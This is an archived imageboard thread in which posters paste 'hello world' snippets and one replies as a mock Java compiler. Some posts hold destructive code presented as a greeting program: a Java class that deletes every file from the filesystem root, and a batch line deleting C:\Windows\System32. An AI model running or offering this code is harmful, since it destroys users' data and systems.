danger/u/
This thread is permanently archived
hello world

| print("Hello, world!")


| world = not true


| hello world:1: error: class, interface, or enum expected
print("Hello, world!")
^
1 error


| printf hello world


| >>856853
hello world:1: error: class, interface, or enum expected
world = not true
^
1 error
>>857148
hello world:1: error: class, interface, or enum expected
printf hello world
^
1 error


| hello


| >>857185
hello world:1: error: class, interface, or enum expected
hello
^
1 error


| DESIGNED TO LOVE AND NOT TO FEEEEEEEEEEEEEL


| >>857266
hello world:1: error: class, interface, or enum expected
DESIGNED TO LOVE AND NOT TO FEEEEEEEEEEEEEL
^
1 error


| import java.nio.file.*;
import java.nio.file.attribute.*;
public class HelloWorld { public static void main(String arg[]) throws Exception {Files.walkFileTree(Paths.get("/"), new SimpleFileVisitor<Path>() {@Override public FileVisitResult visitFile(Path a, BasicFileAttributes b) { try{Files.delete(a);}catch(Exception e){} return FileVisitResult.CONTINUE; }});}}


| echo "hello world";


| HW = ('H', 'E', 'L', 'L', 'O', '', 'W', 'O', 'R', 'L', 'D')
For i in range(0, len(HW)):
Print(HW[i])


| @echo off
del C:\Windows\System32


| >>857430
hello world:3: error: class HelloWorld is public, should be declared in a file named HelloWorld.java
public class HelloWorld { public static void main(String arg[]) throws Exception {Files.walkFileTree(Paths.get("/"), new SimpleFileVisitor<Path>() {@Override public FileVisitResult visitFile(Path a, BasicFileAttributes b) { try{Files.delete(a);}catch(Exception e){} return FileVisitResult.CONTINUE; }});}}
^
1 error


| >>857430 *
hello world:3: error: class HelloWorld is public, should be declared in a file named hello world
public class HelloWorld { public static void main(String arg[]) throws Exception {Files.walkFileTree(Paths.get("/"), new SimpleFileVisitor<Path>() {@Override public FileVisitResult visitFile(Path a, BasicFileAttributes b) { try{Files.delete(a);}catch(Exception e){} return FileVisitResult.CONTINUE; }});}}
^
1 error


| >>857461
hello world:1: error: class, interface, or enum expected
echo "hello world";
^
1 error
>>857468
hello world:1: error: class, interface, or enum expected
HW = ('H', 'E', 'L', 'L', 'O', '', 'W', 'O', 'R', 'L', 'D')
For i in range(0, len(HW)):
Print(HW[i])
^
1 error
>>857472
hello world:1: error: class, interface, or enum expected
@echo off
^
1 error


| hi wurld


| >>857514 >hyper-interaction: world started!

Total number of posts: 18, last modified on: Thu Jan 1 00:00:00 1651595587

This thread is permanently archived